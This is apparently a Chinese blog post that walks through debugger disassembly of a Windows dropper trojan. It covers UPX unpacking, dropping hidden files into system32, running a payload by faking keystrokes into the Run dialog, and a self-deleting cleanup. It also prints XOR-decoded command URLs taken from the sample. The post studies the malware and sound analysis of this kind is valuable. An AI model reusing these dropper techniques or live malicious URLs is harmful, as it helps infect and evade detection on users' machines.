欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

病毒释放者程序分析Trojan-Dropper.Win32.Agent.arnz

病毒释放者程序分析Trojan-Dropper.Win32.Agent.arnz

病毒
这是我第一次分析病毒,欢迎提出意见建议!
用PEid查壳,发现程序加了upx的壳,用ESP定律就可以脱壳了!
注意,附件里面的部分文件被病毒设置成了系统文件,有隐藏属性,用RAR可以看到!
00417A40   .  60            pushad
00417A41   .  BE 00D04000   mov     esi, 0040D000  ;运行到这里后,输入hr esp 运行即可
00417A46   .  8DBE 0040FFFF lea     edi, dword ptr [esi+FFFF4000]
00417A4C   .  57            push    edi
00417A4D   .  EB 0B         jmp     short 00417A5A
... ...
00417BE7   .  8D4424 80     lea     eax, dword ptr [esp-80]
00417BEB   >  6A 00         push    0
00417BED   .  39C4          cmp     esp, eax
00417BEF   .^ 75 FA         jnz     short 00417BEB
00417BF1   .  83EC 80       sub     esp, -80
00417BF4   .- E9 97A8FEFF   jmp     00402490  ;这里跳转后就是OEP了
... ...
00402490 >  81EC 1C040000   sub     esp, 41C   ;这里就是OEP
00402496    A1 00404000     mov     eax, dword ptr [404000]
0040249B    33C4            xor     eax, esp
0040249D    898424 18040000 mov     dword ptr [esp+418], eax
004024A4    FF05 00504000   inc     dword ptr [405000]
004024AA    90              nop
004024AB    90              nop
004024AC    33C0            xor     eax, eax
004024AE    90              nop
004024AF    90              nop
004024B0    33C0            xor     eax, eax
004024B2    68 03010000     push    103
004024B7    8D4424 0C       lea     eax, dword ptr [esp+C]
004024BB    50              push    eax
004024BC    FF15 14304000   call    dword ptr [<&kernel32.GetSystemD>; 获取系统system32目录
004024C2    90              nop
004024C3    90              nop
004024C4    33C0            xor     eax, eax
004024C6    33C0            xor     eax, eax
004024C8    EB 06           jmp     short 004024D0
004024CA    8D9B 00000000   lea     ebx, dword ptr [ebx]
004024D0    8A4C04 08       mov     cl, byte ptr [esp+eax+8]
004024D4    888C04 10020000 mov     byte ptr [esp+eax+210], cl       ; 拷贝目录到局部变量(堆栈)
004024DB    40              inc     eax
004024DC    84C9            test    cl, cl
004024DE  ^ 75 F0           jnz     short 004024D0
0012FBB0  43 3A 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74 65  C:\WINDOWS\system32
0012FBC0  6D 33 32                                         m32
004024E0    33C0            xor     eax, eax
004024E2    8A4C04 08       mov     cl, byte ptr [esp+eax+8]
004024E6    888C04 14030000 mov     byte ptr [esp+eax+314], cl       ; 又拷贝目录
004024ED    40              inc     eax
004024EE    84C9            test    cl, cl
004024F0  ^ 75 F0           jnz     short 004024E2
004024F2    33C0            xor     eax, eax
004024F4    8A4C04 08       mov     cl, byte ptr [esp+eax+8]
004024F8    888C04 0C010000 mov     byte ptr [esp+eax+10C], cl       ; 再拷贝
004024FF    40              inc     eax
00402500    84C9            test    cl, cl
00402502  ^ 75 F0           jnz     short 004024F4
00402504    90              nop
00402505    90              nop
00402506    33C0            xor     eax, eax
00402508    8D4424 08       lea     eax, dword ptr [esp+8]
0040250C    48              dec     eax
0040250D    8D49 00         lea     ecx, dword ptr [ecx]
00402510    8A48 01         mov     cl, byte ptr [eax+1]
00402513    40              inc     eax
00402514    84C9            test    cl, cl
00402516  ^ 75 F8           jnz     short 00402510
00402518    8B0D 64314000   mov     ecx, dword ptr [403164]          ; 这里的数据其实是字符串\usp10.dll
0040251E    8B15 68314000   mov     edx, dword ptr [403168]
00402524    8908            mov     dword ptr [eax], ecx
00402526    66:8B0D 6C31400>mov     cx, word ptr [40316C]
0040252D    8950 04         mov     dword ptr [eax+4], edx
00402530    8A15 6E314000   mov     dl, byte ptr [40316E]
00402536    66:8948 08      mov     word ptr [eax+8], cx
0040253A    8850 0A         mov     byte ptr [eax+A], dl             ; 和系统system32目录连接..system32\usp10.dll
0012FBAF  00 43 3A 5C 57 49 4E 44 4F 57 53 5C 73 79 73 74  .C:\WINDOWS\syst
0012FBBF  65 6D 33 32 5C 75 73 70 31 30 2E 64 6C 6C        em32\usp10.dll
.... ...
00402576  ^ 75 F8           jnz     short 00402570
00402578    8B15 70314000   mov     edx, dword ptr [403170]
0040257E    8B0D 74314000   mov     ecx, dword ptr [403174]
00402584    8910            mov     dword ptr [eax], edx
00402586    8B15 78314000   mov     edx, dword ptr [403178]
0040258C    53              push    ebx
0040258D    8948 04         mov     dword ptr [eax+4], ecx
00402590    8A0D 7C314000   mov     cl, byte ptr [40317C]
00402596    56              push    esi
00402597    8950 08         mov     dword ptr [eax+8], edx
0040259A    57              push    edi
0040259B    8848 0C         mov     byte ptr [eax+C], cl             ; 和系统system32目录连接..system32\lqcyc52.cyc
0012FCB7  57 49 4E 44 4F 57 53 5C 73 79 73 74 65 6D 33 32  WINDOWS\system32
0012FCC7  5C 6C 71 63 79 63 35 32 2E 63 79 63 00           \lqcyc52.cyc.
004025A2    68 F4304000     push    004030F4                                ; ASCII "CYCS"
004025A7    6A 65           push    65
004025A9    6A 00           push    0
004025AB    FF15 50304000   call    dword ptr [<&kernel32.FindResourceA>]   ; 查找资源
004025B1    8BF0            mov     esi, eax
004025B3    56              push    esi
004025B4    6A 00           push    0
004025B6    FF15 0C304000   call    dword ptr [<&kernel32.SizeofResource>]  ; 资源大小
004025BC    56              push    esi
004025BD    6A 00           push    0
004025BF    8BF8            mov     edi, eax
004025C1    FF15 48304000   call    dword ptr [<&kernel32.LoadResource>]    ; 载入资源
004025C7    68 8C304000     push    0040308C                                ; ASCII "imm32.dll"
004025CC    8BD8            mov     ebx, eax
004025CE    FF15 24304000   call    dword ptr [<&kernel32.GetModuleHandleA>>; kernel32.GetModuleHandleA
004025D4    85C0            test    eax, eax
004025D6    75 07           jnz     short 004025DF
004025D8    50              push    eax
004025D9    FF15 5C304000   call    dword ptr [<&kernel32.ExitProcess>]     ; kernel32.ExitProcess
004025DF    6A 04           push    4
004025E1    68 00100000     push    1000
004025E6    8D57 01         lea     edx, dword ptr [edi+1]
004025E9    52              push    edx
004025EA    6A 00           push    0
004025EC    FF15 18304000   call    dword ptr [<&kernel32.VirtualAlloc>]    ; 申请内存
004025F2    6A 00           push    0
004025F4    57              push    edi
004025F5    53              push    ebx
004025F6    8BF0            mov     esi, eax
004025F8    FF15 58304000   call    dword ptr [<&kernel32.LockResource>]    ; kernel32.SetHandleCount
004025FE    50              push    eax
004025FF    56              push    esi
00402600    FF15 44304000   call    dword ptr [<&kernel32.GetCurrentProcess>; kernel32.GetCurrentProcess
00402606    50              push    eax
00402607    FF15 30304000   call    dword ptr [<&kernel32.WriteProcessMemor>; 写入资源到申请内存
0040260D    A0 9A304000     mov     al, byte ptr [40309A]
00402612    66:8B1D 9830400>mov     bx, word ptr [403098]                   ; MZ 标志
00402619    884424 12       mov     byte ptr [esp+12], al
0040261D    FF15 1C304000   call    dword ptr [<&kernel32.GetTickCount>]    ; kernel32.GetTickCount
00402623    6A 00           push    0
00402625    6A 06           push    6
00402627    6A 01           push    1
00402629    6A 00           push    0
0040262B    6A 00           push    0
0040262D    68 00000040     push    40000000
00402632    8D8C24 30010000 lea     ecx, dword ptr [esp+130]                ; "C:\WINDOWS\system32\lqcyc52.cyc"
00402639    66:891E         mov     word ptr [esi], bx                      ; MZ
0040263C    51              push    ecx
0040263D    8946 02         mov     dword ptr [esi+2], eax                  ; 修改DOS结构
00402640    FF15 54304000   call    dword ptr [<&kernel32.CreateFileA>]     ; 创建一个隐藏的系统文件
0012FAA0   0012FACC  |FileName = "C:\WINDOWS\system32\lqcyc52.cyc
0012FAA4   40000000  |Access = GENERIC_WRITE
0012FAA8   00000000  |ShareMode = 0
0012FAAC   00000000  |pSecurity = NULL
0012FAB0   00000001  |Mode = CREATE_NEW
0012FAB4   00000006  |Attributes = HIDDEN|SYSTEM
0012FAB8   00000000  \hTemplateFile = NULL
00402646    6A 00           push    0
00402648    8D5424 10       lea     edx, dword ptr [esp+10]
0040264C    52              push    edx
0040264D    57              push    edi
0040264E    8BD8            mov     ebx, eax
00402650    56              push    esi
00402651    53              push    ebx
00402652    FF15 04304000   call    dword ptr [<&kernel32.WriteFile>]       ; 将内存数据放入写入文件
00402658    53              push    ebx
00402659    FF15 2C304000   call    dword ptr [<&kernel32.CloseHandle>]     ; 关闭文件句柄
0040265F    E8 4CFCFFFF     call    004022B0                                ; 进入。。
;=====================================[004022B0]======================================================
004022B0    81EC D0000000   sub     esp, 0D0
004022B6    A1 00404000     mov     eax, dword ptr [404000]
004022BB    33C4            xor     eax, esp
004022BD    898424 CC000000 mov     dword ptr [esp+CC], eax
004022C4    68 03010000     push    103
004022C9    8D4424 08       lea     eax, dword ptr [esp+8]
004022CD    50              push    eax
004022CE    FF15 14304000   call    dword ptr [<&kernel32.GetSystemDirector>; 获取目录"C:\WINDOWS\system32"
004022D4    8D4424 04       lea     eax, dword ptr [esp+4]
004022D8    48              dec     eax
004022D9    8DA424 00000000 lea     esp, dword ptr [esp]
004022E0    8A48 01         mov     cl, byte ptr [eax+1]
004022E3    40              inc     eax
004022E4    84C9            test    cl, cl
004022E6  ^ 75 F8           jnz     short 004022E0
004022E8    8B0D FC304000   mov     ecx, dword ptr [4030FC]
查看下[4030FC]里面的数据,发现一些有意思的东西
004030FC  5C 74 61 73 6B 6E 67 72 2E 65 78 65 00 00 00 00  \taskngr.exe....
0040310C  D4 CB D0 D0 00 00 00 00 43 6F 6D 62 6F 42 6F 78  运行....ComboBox
0040311C  00 00 00 00 45 64 69 74 00 00 00 00 22 00 74 00  ....Edit....".t.
0040312C  61 00 73 00 6B 00 6E 00 67 00 72 00 22 00 20 00  a.s.k.n.g.r.". .
0040313C  6C 00 71 00 63 00 79 00 63 00 35 00 32 00 2E 00  l.q.c.y.c.5.2...
0040314C  63 00 79 00 63 00 00 00 C8 B7 B6 A8 00 00 00 00  c.y.c...确定....
0040315C  42 75 74 74 6F 6E 00 00 5C 75 73 70 31 30 2E 64  Button..\usp10.d
0040316C  6C 6C 00 00 5C 6C 71 63 79 63 35 32 2E 63 79 63  ll..\lqcyc52.cyc
004022EE    8B15 00314000   mov     edx, dword ptr [403100]
004022F4    53              push    ebx
004022F5    56              push    esi
004022F6    57              push    edi
004022F7    8908            mov     dword ptr [eax], ecx
004022F9    8B0D 04314000   mov     ecx, dword ptr [403104]
004022FF    68 F4304000     push    004030F4                         ; ASCII "CYCS"
00402304    8950 04         mov     dword ptr [eax+4], edx
00402307    8A15 08314000   mov     dl, byte ptr [403108]
0040230D    6A 68           push    68
0040230F    8948 08         mov     dword ptr [eax+8], ecx
00402312    6A 00           push    0
00402314    8850 0C         mov     byte ptr [eax+C], dl  ;"C:\WINDOWS\system32\taskngr.exe"
00402317    FF15 50304000   call    dword ptr [<&kernel32.FindResour>; kernel32.FindResourceA
0040231D    8BF8            mov     edi, eax
0040231F    57              push    edi
00402320    6A 00           push    0
00402322    FF15 0C304000   call    dword ptr [<&kernel32.SizeofReso>; kernel32.SizeofResource
00402328    57              push    edi
00402329    6A 00           push    0
0040232B    8BF0            mov     esi, eax
0040232D    FF15 48304000   call    dword ptr [<&kernel32.LoadResour>; kernel32.LoadResource
00402333    6A 04           push    4
00402335    8BD8            mov     ebx, eax
00402337    68 00100000     push    1000
0040233C    8D46 01         lea     eax, dword ptr [esi+1]
0040233F    50              push    eax
00402340    6A 00           push    0
00402342    FF15 18304000   call    dword ptr [<&kernel32.VirtualAll>; kernel32.VirtualAlloc
00402348    6A 00           push    0
0040234A    56              push    esi
0040234B    53              push    ebx
0040234C    8BF8            mov     edi, eax
0040234E    FF15 58304000   call    dword ptr [<&kernel32.LockResour>; kernel32.SetHandleCount
00402354    50              push    eax
00402355    57              push    edi
00402356    FF15 44304000   call    dword ptr [<&kernel32.GetCurrent>; kernel32.GetCurrentProcess
0040235C    50              push    eax
0040235D    FF15 30304000   call    dword ptr [<&kernel32.WriteProce>; kernel32.WriteProcessMemory
00402363    6A 00           push    0
00402365    6A 06           push    6
00402367    6A 01           push    1
00402369    6A 00           push    0
0040236B    6A 00           push    0
0040236D    68 00000040     push    40000000
00402372    8D4C24 28       lea     ecx, dword ptr [esp+28]
00402376    51              push    ecx
00402377    FF15 54304000   call    dword ptr [<&kernel32.CreateFile>; kernel32.CreateFileA
0040237D    6A 00           push    0
0040237F    8D5424 10       lea     edx, dword ptr [esp+10]
00402383    52              push    edx
00402384    56              push    esi
00402385    8BD8            mov     ebx, eax
00402387    57              push    edi
00402388    53              push    ebx
00402389    FF15 04304000   call    dword ptr [<&kernel32.WriteFile>>; kernel32.WriteFile
0040238F    53              push    ebx
00402390    FF15 2C304000   call    dword ptr [<&kernel32.CloseHandl>; kernel32.CloseHandle
//上面的代码不用解释了,跟刚刚的一样,取出资源,创建"C:\WINDOWS\system32\taskngr.exe"文件,写入数据!重点要看下面这个CALL
00402396    E8 35000000     call    004023D0                         ; 这个里面貌似是VM代码。。悲剧了
;==================[004023D0]=================================
004023D0  - E9 7D200100     jmp     00414452
004023D5    56              push    esi
004023D6    66:98           cbw
004023D8    68 421892B2     push    B2921842
004023DD    E8 DC0F0100     call    004133BE
004023E2    895C24 30       mov     dword ptr [esp+30], ebx
004023E6    54              push    esp
004023E7    9C              pushfd
004023E8    56              push    esi
004023E9    9C              pushfd
004023EA    8D6424 40       lea     esp, dword ptr [esp+40]
004023EE  - E9 4A110100     jmp     0041353D
004023F3    894424 04       mov     dword ptr [esp+4], eax
004023F7    9C              pushfd
004023F8  - E9 6D040100     jmp     0041286A
004023FD    83C6 01         add     esi, 1
00402400    884C24 08       mov     byte ptr [esp+8], cl
00402404    8D6424 50       lea     esp, dword ptr [esp+50]
00402408  - E9 E0080100     jmp     00412CED
0040240D    0145 04         add     dword ptr [ebp+4], eax
00402410    52              push    edx
00402411  - E9 130B0100     jmp     00412F29
00402416    FEC0            inc     al
00402418  - E9 7B110100     jmp     00413598
0040241D    9C              pushfd
。。。。。。。。。。。。。。。。一直单步,看看有没有什么有用的信息,关键是看看哪里有调用API
单步到手抽筋之后,终于看到一个API ,EAX 0040306C <&USER32.keybd_event>此时,EIP在00413770 ...
找到一个就好,VM的代码好像调用API的同一个地方,而且一般是用retn XX来调用的,,所以给keybd_event下断之后,按Ctrl+F7自动步入(自动步入的原因是我们到断点后,需要退后一格查看调用地址)
不到一分钟的时间,断下来了,按-退一步:
00412850    8B6C24 40       mov     ebp, dword ptr [esp+40]
00412854    9C              pushfd
00412855    8B4424 48       mov     eax, dword ptr [esp+48]
00412859    9C              pushfd
0041285A    885424 0C       mov     byte ptr [esp+C], dl
0041285E    C64424 04 37    mov     byte ptr [esp+4], 37
00412863    FF7424 50       push    dword ptr [esp+50]
00412867    C2 5400         retn    54                               ; ;这里就是调用API的地方
然后在[00412867    C2 5400         retn    54    ]处下硬件执行,看看他执行哪些API,来判断这个VM函数起什么作用!现在我们重新载入程序!然后直接运行,发现第一个API调用就是:keybd_event
函数功能:该函数合成一次击键事件。系统可使用这种合成的击键事件来产生WM_KEYUP或WM_KEYDOWN消息,键盘驱动程序的中断处理程序调用keybd_event函数。在Windows NT中该函数己被使用SendInput来替代它。
参数:
bVk:定义一个虚拟键码。键码值必须在1~254之间。
bScan:定义该键的硬件扫描码。   
dwFlags:定义函数操作的名个方面的一个标志位集。应用程序可使用如下一些预定义常数的组合设置标志位。   
KEYEVENTF_EXETENDEDKEY:若指定该值,则扫描码前一个值为OXEO(224)的前缀字节。KEYEVENTF_KEYUP:若指定该值,该键将被释放;若未指定该值,该键交被接下。dwExtralnfo:定义与击键相关的附加的32位值。 
备注:尽管keybd_event传递一个与OEM相关的硬件扫描码给系统,但应用程序不能用此扫描码。系统在内部将扫描码转换成虚拟键码,并且在传送给应用程序前清除键码的UP/down位。应用程序可以摸拟PRINTSCREEN键的按下来获得一个屏幕快照,并把它存放到剪切板中。若要做到这一点,则要将keybd_event的bVk参数置为VK_SNAPSHOT,bScan参数置为0(用以获得全屏快照)或hScan置为1(仅获得活动窗口的快照)。Windows CE:WindowsCE支持dwFlags参数附加的标志位。即使用KEYEVENTF_SILENT标志模拟击键,而不产生敲击的声音。Windows CE不支持KEYEVENTF_EXTENDEDKEY标志。
0012FA98   0041430E  /CALL 到 keybd_event  ;执行了这句之后,直接按R “运行”程序就出来了,这句代码是按下Win键
0012FA9C   0000005B  |Key = VK_LWIN
0012FAA0   00000000  |ScanCode = 0
0012FAA4   00000000  |Flags = 0
0012FAA8   00000000  \ExtraInfo = 0
0012FA98   0041446A  /CALL 到 keybd_event   ;按下R键
0012FA9C   00000052  |Key = 52  ('R')
0012FAA0   00000000  |ScanCode = 0
0012FAA4   00000000  |Flags = 0
0012FAA8   00000000  \ExtraInfo = 0
0012FA98   00413DE6  /CALL 到 keybd_event  ;放开R键
0012FA9C   00000052  |Key = 52  ('R')
0012FAA0   00000000  |ScanCode = 0
0012FAA4   00000002  |Flags = KEYEVENTF_KEYUP
0012FAA8   00000000  \ExtraInfo = 0
0012FA98   00413E9D  /CALL 到 keybd_event   ;放开Win键
0012FA9C   0000005B  |Key = VK_LWIN
0012FAA0   00000000  |ScanCode = 0
0012FAA4   00000002  |Flags = KEYEVENTF_KEYUP
0012FAA8   00000000  \ExtraInfo = 0
上面的执行结果就是调用“运行”对话框:

继续:
0012FAA0   004145C9  /CALL 到 FindWindowA ;查找窗口句柄
0012FAA4   00000000  |Class = 0
0012FAA8   0040310C  \Title = "运行"
。。。如果没有找到会一直循环下去。。悲剧啊。。。
0012FA98   004147A8  /CALL 到 FindWindowExA ;找ComboBox句柄
0012FA9C   003001BA  |hParent = 003001BA ('运行',class='#32770',parent=002D023C)
0012FAA0   00000000  |hAfterWnd = NULL
0012FAA4   00403114  |Class = "ComboBox"
0012FAA8   00000000  \Title = NULL
0012FA98   00414908  /CALL 到 FindWindowExA ;找Edit句柄(ComboBox里面有一个Edit)
0012FA9C   004C0182  |hParent = 004C0182 (class='ComboBox',parent=003001BA)
0012FAA0   00000000  |hAfterWnd = NULL
0012FAA4   00403120  |Class = "Edit"
0012FAA8   00000000  \Title = NULL
0012FA98   00414BF5  /CALL 到 SendMessageW ;这个VM函数真正的目的出来了。。邪恶啊。。邪恶啊。。设置文本到Edit
0012FA9C   004501CE  |hWnd = 4501CE
0012FAA0   0000000C  |Message = WM_SETTEXT
0012FAA4   00000000  |wParam = 0
0012FAA8   00403128  \Text = """taskngr"" lqcyc52.cyc"

0012FA98   00414429  /CALL 到 FindWindowExA ;然后找“确定”按钮,下面肯定是单击这个确定按钮了。。。。
0012FA9C   003001BA  |hParent = 003001BA ('运行',class='#32770',parent=002D023C)
0012FAA0   00000000  |hAfterWnd = NULL
0012FAA4   0040315C  |Class = "Button"
0012FAA8   00403154  \Title = "确定"
0012FA98   004149A9  /CALL 到 SendMessageA ; 果然。。。
0012FA9C   002F01CA  |hWnd = 2F01CA
0012FAA0   00000201  |Message = WM_LBUTTONDOWN
0012FAA4   00000001  |Keys = MK_LBUTTON
0012FAA8   00000001  \X = 1. Y = 0.
0012FA98   00414411  /CALL 到 SendMessageA
0012FA9C   002F01CA  |hWnd = 2F01CA
0012FAA0   00000202  |Message = WM_LBUTTONUP
0012FAA4   00000001  |Keys = MK_LBUTTON
0012FAA8   00000001  \X = 1. Y = 0.
OK 到这里 VM函数的任务就完成了。。直接返回了,VM函数功能是利用“运行”程序,执行 "taskngr" lqcyc52.cyc 来加载lqcyc52.cyc,如果没猜错的话taskngr是一个DLL加载工具,而且他的图标正是OD里面loaddll.exe的图标。。。。。
;=================================================
0040239B    68 A00F0000     push    0FA0
004023A0    FF15 08304000   call    dword ptr [<&kernel32.Sleep>]    ; kernel32.Sleep
004023A6    8D4424 10       lea     eax, dword ptr [esp+10]
004023AA    50              push    eax
004023AB    FF15 34304000   call    dword ptr [<&kernel32.DeleteFile>; 然后删除taskngr.exe文件
004023B1    8B8C24 D8000000 mov     ecx, dword ptr [esp+D8]
004023B8    5F              pop     edi
004023B9    5E              pop     esi
004023BA    5B              pop     ebx
004023BB    33CC            xor     ecx, esp
004023BD    E8 3EECFFFF     call    00401000
004023C2    81C4 D0000000   add     esp, 0D0
004023C8    C3              retn  ;然后在返回
;===========================================
回到00402664    处,这里也是一个CALL,进去看看
00402664    E8 77FAFFFF     call    004020E0
;===========================================
004020E0    55              push    ebp
004020E1    8DAC24 68FFFFFF lea     ebp, dword ptr [esp-98]
004020E8    81EC 14010000   sub     esp, 114
004020EE    A1 00404000     mov     eax, dword ptr [404000]
004020F3    33C5            xor     eax, ebp
004020F5    8985 94000000   mov     dword ptr [ebp+94], eax
004020FB    68 04010000     push    104
00402100    68 58444000     push    00404458                         ; ASCII "C:\WINDOWS"
00402105    FF15 00304000   call    dword ptr [<&kernel32.GetWindows>; kernel32.GetWindowsDirectoryA
0040210B    B8 58444000     mov     eax, 00404458                    ; C:\WINDOWS 这回取的是系统目录
00402110    48              dec     eax
00402111    8A48 01         mov     cl, byte ptr [eax+1]
00402114    40              inc     eax
00402115    84C9            test    cl, cl
00402117  ^ 75 F8           jnz     short 00402111
00402119    8B0D E0304000   mov     ecx, dword ptr [4030E0]          ; ;\systemdebug.exe
0040211F    8B15 E4304000   mov     edx, dword ptr [4030E4]
00402125    8908            mov     dword ptr [eax], ecx
00402127    8B0D E8304000   mov     ecx, dword ptr [4030E8]
0040212D    8950 04         mov     dword ptr [eax+4], edx
00402130    8B15 EC304000   mov     edx, dword ptr [4030EC]
00402136    53              push    ebx
00402137    8948 08         mov     dword ptr [eax+8], ecx
0040213A    8A0D F0304000   mov     cl, byte ptr [4030F0]
00402140    56              push    esi
00402141    8950 0C         mov     dword ptr [eax+C], edx
00402144    57              push    edi
00402145    8848 10         mov     byte ptr [eax+10], cl            ; C:\WINDOWS\systemdebug.exe"
。。。。
004021F9    FF15 20304000   call    dword ptr [<&kernel32.GetModuleF>; 取进程地址
004021FF    6A 00           push    0
00402201    6A 00           push    0
00402203    6A 03           push    3
00402205    6A 00           push    0
00402207    6A 01           push    1
00402209    68 00000080     push    80000000
0040220E    8D45 90         lea     eax, dword ptr [ebp-70]
00402211    50              push    eax
00402212    FF15 54304000   call    dword ptr [<&kernel32.CreateFile>; 打开自己
00402218    8BF0            mov     esi, eax
0040221A    6A 02           push    2
0040221C    6A 00           push    0
0040221E    68 D4FEFFFF     push    -12C
00402223    56              push    esi
00402224    FF15 4C304000   call    dword ptr [<&kernel32.SetFilePoi>; 设置指针
0040222A    6A 04           push    4
0040222C    68 00100000     push    1000
00402231    68 58020000     push    258
00402236    6A 00           push    0
00402238    FF15 18304000   call    dword ptr [<&kernel32.VirtualAll>; kernel32.VirtualAlloc
0040223E    6A 00           push    0
00402240    8D4D 8C         lea     ecx, dword ptr [ebp-74]
00402243    51              push    ecx
00402244    8BF8            mov     edi, eax
00402246    68 2C010000     push    12C
0040224B    57              push    edi
0040224C    56              push    esi
0040224D    897D 84         mov     dword ptr [ebp-7C], edi
00402250    FF15 10304000   call    dword ptr [<&kernel32.ReadFile>] ; 取自己某处数据,可能是因为我脱了壳,所以取出来的数据全是空的,这个我会在后面带壳分析一次!!!
00402256    56              push    esi
00402257    8B35 2C304000   mov     esi, dword ptr [<&kernel32.Close>; kernel32.CloseHandle
0040225D    FFD6            call    esi
0040225F    B9 2C010000     mov     ecx, 12C
00402264    8B45 84         mov     eax, dword ptr [ebp-7C]
00402267    8038 00         cmp     byte ptr [eax], 0
0040226A    74 03           je      short 0040226F
0040226C    8030 12         xor     byte ptr [eax], 12               ; 数据加密
0040226F    40              inc     eax
00402270  ^ E2 F5           loopd   short 00402267
00402272    6A 00           push    0
00402274    8D55 88         lea     edx, dword ptr [ebp-78]
00402277    52              push    edx
00402278    68 2C010000     push    12C
0040227D    57              push    edi
0040227E    53              push    ebx
0040227F    FF15 04304000   call    dword ptr [<&kernel32.WriteFile>>; 把数据写入systemdebug.exe
00402285    53              push    ebx
00402286    FFD6            call    esi                              ; 关闭句柄
。。。。
代码和前面的差不多,取资源,创建C:\WINDOWS\systemdebug.exe,然后写入数据!然后直接返回了!
;===============================================
00402669    68 D0070000     push    7D0
0040266E    FF15 08304000   call    dword ptr [<&kernel32.Sleep>]    ; kernel32.Sleep
00402674    6A 00           push    0
00402676    68 58444000     push    00404458                         ; ASCII "C:\WINDOWS\systemdebug.exe"
0040267B    FF15 28304000   call    dword ptr [<&kernel32.WinExec>]  ; kernel32.WinExec
00402681    E8 7AF9FFFF     call    00402000                         ; 这里是作清理工作,写出一个BAT 删除自己
00402686    6A 00           push    0
00402688    FF15 5C304000   call    dword ptr [<&kernel32.ExitProces>; kernel32.ExitProcess
上面的代码不用解释了吧,直接运行systemdebug.exe,然后作清理工作。
;======================上面说了,因为我脱了壳,所以取出来的数据全是空的,现在带壳重新在哪个部分分析一次,发现读取有数据读入:
003E0000  5D 5D 5D 5D 5D 5D 7A 66 66 62 28 3D 3D 65 65 65  ]]]]]]zffb(==eee
003E0010  3C 7C 7A 7B 60 6B 3C 71 7D 7F 3D 21 3C 66 6A 66  <|z{`k<q}=!<fjf
003E0020  6E 51 28 4E 45 5B 5C 56 5D 45 41 4E 70 7D 7D 66  nQ(NE[\V]EANp}}f
003E0030  3C 7B 7C 7B 00 51 51 51 51 51 51 7A 66 66 62 28  <{|{.QQQQQQzffb(
003E0040  3D 3D 65 65 65 3C 63 71 7F 7F 7A 3C 71 7D 7F 3D  ==eee<cqz<q}=
003E0050  75 77 66 3C 73 61 62 00 44 44 44 44 44 44 23 3C  uwf<sab.DDDDDD#<
003E0060  20 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00   &..............
003E0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
然后XOR后出现惊人一目:
003E0000  4F 4F 4F 4F 4F 4F 68 74 74 70 3A 2F 2F 77 77 77  OOOOOOhttp://www
003E0010  2E 6E 68 69 72 79 2E 63 6F 6D 2F 33 2E 74 78 74  .nhiry.com/3.txt
003E0020  7C 43 3A 5C 57 49 4E 44 4F 57 53 5C 62 6F 6F 74  |C:\WINDOWS\boot
003E0030  2E 69 6E 69 00 43 43 43 43 43 43 68 74 74 70 3A  .ini.CCCCCChttp:
003E0040  2F 2F 77 77 77 2E 71 63 6D 6D 68 2E 63 6F 6D 2F  //www.qcmmh.com/
003E0050  67 65 74 2E 61 73 70 00 56 56 56 56 56 56 31 2E  get.asp.VVVVVV1.
003E0060  32 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00  24..............
003E0070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
systemdebug.exe 的功能不言而喻了。。。
至于 lqcyc52.cyc 是干什么用的,下次有时间我在分析分析,附上互联网上对这病毒的描述:

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功